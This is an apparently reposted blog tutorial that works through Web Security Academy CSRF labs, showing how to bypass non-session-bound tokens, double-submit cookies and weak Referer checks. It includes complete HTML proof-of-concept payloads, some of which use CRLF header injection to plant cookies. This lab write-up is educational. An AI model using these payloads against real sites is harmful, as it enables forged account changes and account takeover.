Hi, My name is Hashar Mujahid and in this blog, we will talk about some techniques to bypass the csrf protection.
You can read my previous blog here if you want to learn about what csrf is.
And Bypassing techniques part 1:
So today we’re going to look into some more techniques to bypass the CSRF protection placed by web applications.
5: CSRF where the token is tied to a non-session cookie:
Some times csrf token is tied to a cookie but this cookie is not related to the session of the user. This happens because the application uses 2 different frameworks one for session handling and one for csrf protection and both aren’t integrated together.
example:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF;csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv ==> Non Session Cookie csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&[email protected]
This seems secure and it is for the most part but if the application allows any behavior that allows an attacker to set a cookie then the attacker can easily create an account and get a valid csrf token and associated cookie and incorporate it into his payload to achieve his goals.
So what we need to bypass his protection is.
- The csrf session handling framework and user session handling framework should not be integrated with each other.
- The web application allows some kind of behavior that allows an attacker to set his own csrfkey cookie in the victim’s browser.
- Create a payload.
We can try to inject the token from another user and see if our request goes through.
We can see our request has one csrf key cookie and a csrf token which are tied together and not integrated with the user session framework.
So to bypass this we need to set our csrf key in the victim’s browser kinda like the header injection.
We can see the search functionality sets the last search item cookie in the browser we can use this behavior to set our csrfkey cookie in the victim's browser.
We can see in our test case we are able to inject the attacker’s csrf key into the victim’s browser now the hard part is done we just have to create a payload that uses this vulnerability to first set the cookie in the victim’s browser and then make the request.
If you want to know how to generate a csrf payload without a burp professional read my previous blog.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0aac003c049cebe3c022c94800810065.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@mail.com" />
<input type="hidden" name="csrf" value="Kv7fuJJyHThqZ8EEwtoABb5JQ5QkwF8G" />
<input type="submit" value="Submit request" />
</form>
<img src='https://0aac003c049cebe3c022c94800810065.web-security-academy.net/?search=hi%0d%0aSet-Cookie:%20csrfKey=2Dj9hmEsH2ReRwZuVRfzoN0HgS2HQPwa' onerror=document.forms[0].submit();>
</body>
</html>The img tag has a URL that injects our cookie into the victim's browser and also submits the form after that.
Deliver to the victim.
6: CSRF where the token is duplicated in the cookie:
Some applications simply duplicate the value of the csrfkey cookie and the csrf token. In this case, if the application allows some cookie setting vulnerability attacker does not have to obtain a valid csrf key. He just needs to set the same value in the cookie and the token.
This type of defense is called double submit defense. In this defense, it does not matter whether the value of csrf is valid or not along as they are equal.
We can use the same vulnerability in search functionality to set the cookie in the victim’s browser and generate a POC.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0af6009a04e9f129c0763b54001100de.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@mail.com" />
<input type="hidden" name="csrf" value="fake" />
<input type="submit" value="Submit request" />
</form>
<img src="'"https://0af6009a04e9f129c0763b54001100de.web-security-academy.net/?search=hi%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit();"/>
</body>
</body>
</html>Now Deliver the payload to the victim.
7: CSRF where Referer validation depends on header being present:
Apart from CSRF token-based protections, some apps use the HTTP Referer header to try to fight against CSRF attacks, typically by confirming that the request came from the application’s own domain. This strategy is often less effective and is frequently circumvented.
Some application skips the validation if the refer header is not present.
If we temper with the referer header.
our request fails.
if we delete the referer header.
our request is completed.
So in this case we need to trick the victim’s browser to drop the referer header while sending the malicious request so the validation is skipped.
we can do this by adding
<meta name="referrer" content="no-referrer">in our POC.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a790074041efac7c0689f7200ac001e.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@mail.com" />
<input type="submit" value="Submit request" />
<meta name="referrer" content="no-referrer">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
8: CSRF with broken Referer validation:
Some applications validate the referer header by checking the domain if the request is from the allowed list of domains then it is processed and if it is from a different domain it is rejected but this kind of protection can be bypassed due to the handling and parsing of URLs by different parsers.
We can see the request is successful when it is from the same domain.
let's try to delete the referer header
No luck this time so we need to bypass this protection.
Doesn't work but if we append our valid domain id in the end.
Our request is accepted.
So we know our application checks if the domain name is included in the referer header or not instead of absolute URL.
we will have to make some changes to our payload POC to include the valid domain of our application.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/?0a0b001d046155a9c07ad817000500af.web-security-academy.net')</script>
<form action="https://0a0b001d046155a9c07ad817000500af.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test@mail.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>The 3rd argument in the history push state function is URL so we already know if we supply our header like this
Referer: http://hacker.com/?0a0b001d046155a9c07ad817000500af.web-security-academy.netIt will be accepted so we can supply the domain of the application is a query parameter in the function that will be appended.
That is all for today. If you like this do consider a follow.
Till then: Happy Hacking ❤
From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. Join our weekly newsletter to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 GitHub Repos and tools, and 1 job alert for FREE!
如有侵权请联系:admin#unsafe.sh